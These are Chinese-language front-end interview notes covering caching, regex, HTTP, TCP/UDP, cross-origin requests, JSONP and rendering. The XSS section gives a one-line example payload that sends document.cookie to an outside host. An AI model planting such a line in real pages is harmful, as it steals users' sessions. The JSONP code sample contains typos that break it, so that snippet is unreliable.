5. 综合知识 · 前端面试知识点总结

# 综合知识 ## 缓存当没有CDN时，客户端访问网站，先检查本地缓存是否过期，如果过期，则由网站返回新的数据，若没有过期，直接使用缓存资源（200）。 ### 概念 #### 强缓存强缓存，指的是使用本地的缓存。 #### 协商缓存协商缓存，是指本地的缓存到期后，与服务器确认缓存是否真正过期，过期返回新的资源（200），没有过期（304资源仍有效） #### CDN缓存客户端浏览器先检查是否有本地缓存是否过期： - 如果过期，则向CDN边缘节点发起请求，CDN边缘节点会检测用户请求数据的缓存是否过期， - 如果没有过期，则直接响应用户请求，此时一个完成http请求结束； - 如果数据已经过期，那么CDN还需要向源站发出回源请求（back to the source request）,来拉取最新的数据。 #### CDN缓存策略一般通过http响应头中的 `Cache-control: max-age` 的字段来设置CDN边缘节点数据缓存时间。 ## 自定义重写 Select > TODO ## 正则表达式 ### 常用字符 |符号 |符号意义 | |-----------|----------------------| |/...../ |用来表示一个正则匹配表达式。| |\ |转义字符。| |/^a/ |表示当第一个字符为a时才能匹配。| |/t$/ |最后一个字符为t才会匹配。| |* |一个字符出现任意次，即匹配。| |？ |匹配一个字符0次或者1次。| |{n} |匹配前边的字符发生n次。例如，/e{3}/ 就会匹配 eee 及>3e 的字符串。| |{n,m} |最少n次，最多m次| |[abcd] |字符集和，匹配方括号中的任意字符| |[^abcd] |匹配不存在方括号中的任意字符| |\d |匹配一个数字| |\D |匹配一个非数字| ## 前后端交互相关 ### RESTful 接口 `RESTful接口`是一种软件架构设计风格，主要用于前后端的交互，它的重要一个原则是前端的请求是没有状态的，无状态的请求可以由任何服务器回答。 RESTful提倡使用标准的 HTTP 方法，GET对应取、PUT对应修改、POST新增和 DELETE对应删除。 ### TCP和UDP的区别 #### TCP： - 面向连接，进行数据传输前需要连接。因此连接是点对点的。 - TCP提供可靠的服务。也就是说，通过TCP连接传送的数据，无差错，不丢失，不重复，且按序到达。 > （Tcp通过校验和，重传控制，序号标识，滑动窗口、确认应答实现可靠传输。如丢包时的重发控制，还可以对次序乱掉的分包进行顺序控制。） - TCP对系统资源要求较多。 #### UDP： - 无连接的，进行传输前不需要建立连接。可以是一对一，一对多，多对一和多对多。 - 尽最大努力进行交付，但是不保证交付的可靠性。例如视频网站传输视频。 - UDP具有较好的实时性，工作效率比TCP高，适用于对高速传输和实时性有较高的通信或广播通信。 - UDP对系统资源要求较少。 ### HTTP 状态码 |代码 |含义 | |-------|---------------| |1 |消息 | |2 |成功 | |3 |重定向 | |4 |请求错误 | |400 |Bad Request | |401 |Unauthorized | |402 |PaymentRequired| |403 |Forbidden | |404 |Not Found | |5 |服务器错误 | |500 |Internal Server Error| ### css、js加载会不会阻塞DOM解析和绘制 CSS不会阻塞DOM的解析，但是会阻塞DOM的绘制。 CSS会阻塞之后的JS的运行。 ### XSS和CSRF #### XSS `XSS` 是跨站脚本攻击。例如：<script>window.open(www.yixiuge.com?content=document.cookie);</script>。也可以写成图片，iframe的形式 ### CSRF `CSRF` 是跨站请求伪造。攻击者盗用了用户的身份，以用户的名义发送恶意请求，包括：以用户的名义发送邮件，发消息，盗取用户账号等。 ### 跨域问题场景【细看】 #### 跨域详解 - Ajax直接请求普通文件存在跨域无权限访问的问题，甭管你是静态页面、动态网页、web服务、WCF，只要是跨域请求，一律不准。 - Web页面上调用js文件时则不受是否跨域的影响（不仅如此，我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力，比如 `<script>、<img>、<iframe>`） #### DOM同源策略禁止对不同源页面DOM进行操作, 同源指，域名、协议、端口如果非同源，js脚本执行时浏览器会报错，提示拒绝访问。（可以下载，但是不可以有数据操作） #### 跨域问题解决 - [jsonp](../3-javascript/3.1-jquery.md#一、jsonp) 原理：通过动态创建script标签,然后利用src属性进行跨域，设置一个回调函数。 ```javascript // 定义一个fun函数 function fun(fata) { console.log(data); }; // 创建一个脚本，并且告诉后端回调函数名叫fun var body = document.getElementsByTagName('body')[0]; var script = document.gerElement('script'); script.type = 'text/javasctipt'; script.src = 'demo.js?callback=fun'; body.appendChild(script); ``` > jsonp不能发post请求，只能发get请求。因为它是调用回调函数的方式，在服务器看来只是请求了一个资源。 ### 重绘 && 重排一个页面由两部分组成： - DOM：描述该页面的结构 - render：描述 DOM 节点 (nodes) 在页面上如何呈现 #### 重绘 Repaint 当 DOM 元素的属性发生变化 (如 color) 时, 浏览器会通知 render 重新描绘相应的元素, 此过程称为 repaint。 #### 重排 Reflow 如果该次变化涉及元素布局 (如 width), 浏览器则抛弃原有属性, 重新计算并把结果传递给 render 以重新描绘页面元素, 此过程称为 reflow。 > 重排必定会引发重绘，但重绘不一定会引发重排。 > 重排对性能的影响要大于重绘。 #### 浏览器解析顺序 1. 解析HTML代码并生成一个 DOM 树。 2. 解析CSS文件，顺序为：浏览器默认样式->自定义样式->页面内的样式。 3. 生成一个渲染树（render tree）。这个渲染树和DOM树的不同之处在于，它是受样式影响的。它不包括那些不可见的节点。 4. 当渲染树生成之后，浏览器就会在屏幕上“画”出所有渲染树中的节点。 #### 优化方法（1）直接改变元素的className （2）display：none；先设置元素为display：none；然后进行页面布局等操作；设置完成后将元素设置为display：block；这样的话就只引发两次重绘和重排；（3）不要经常访问浏览器的flush队列属性；如果一定要访问，可以利用缓存。将访问的值存储起来，接下来使用就不会再引发回流；（4）使用cloneNode(true or false) 和 replaceChild 技术，引发一次回流和重绘；（5）将需要多次重排的元素，position属性设为absolute或fixed，元素脱离了文档流，它的变化不会影响到其他元素；（6）如果需要创建多个DOM节点，可以使用DocumentFragment创建完后一次性的加入document； ## 浏览器相关 ### 浏览器内核 |内核名称 |代表浏览器 | |-----------|----------------------| |Trident |Internet Explore、搜狗 | |Gecko |Mozilla、Firefox | |WebKit |Safari、Chrome | |Presto |Opera | ## 浏览器输入URL敲击回车后发生了什么？ > 这个问题可以理解成浏览器是怎么访问一个网站了。分别有以下几个步骤： 1. 浏览器解析URL 一个URL通常包括以下几个参数： - 传输协议 - 域名 - 端口 - 虚拟目录 - 文件名 - 参数 - 锚浏览器解析URL，主要是解析出需要访问的服务器的域名。 2. DNS解析 DNS解析就是域名对应IP地址的查询。浏览器DNS缓存（2-30分钟） > 系统DNS缓存(host文件) > 路由器DNS缓存 > 查询ISP DNS缓存(网络供应商) > 递归查询(从根域名服务器到顶级域名服务器再到极限域名服务器依次搜索哦对应目标域名的IP。) 3. 浏览器与网站建立TCP连接（三次握手） > 三次握手，四次挥手 4. 请求和传输数据 > GET、POST等进行数据传输 5. 浏览器渲染页面 ## 问题 ## 你是如何学习前端的大概就讲了视频（入门）=》文档（w3school/菜鸟教程/MDN/阮一峰）=》书（dom编程艺术/红宝书/understanding es6,/es6入门教程）=》官方文档（w3.org/vuejs.org）没事转转博客、社区。以及接下来打算学习什么，看什么书。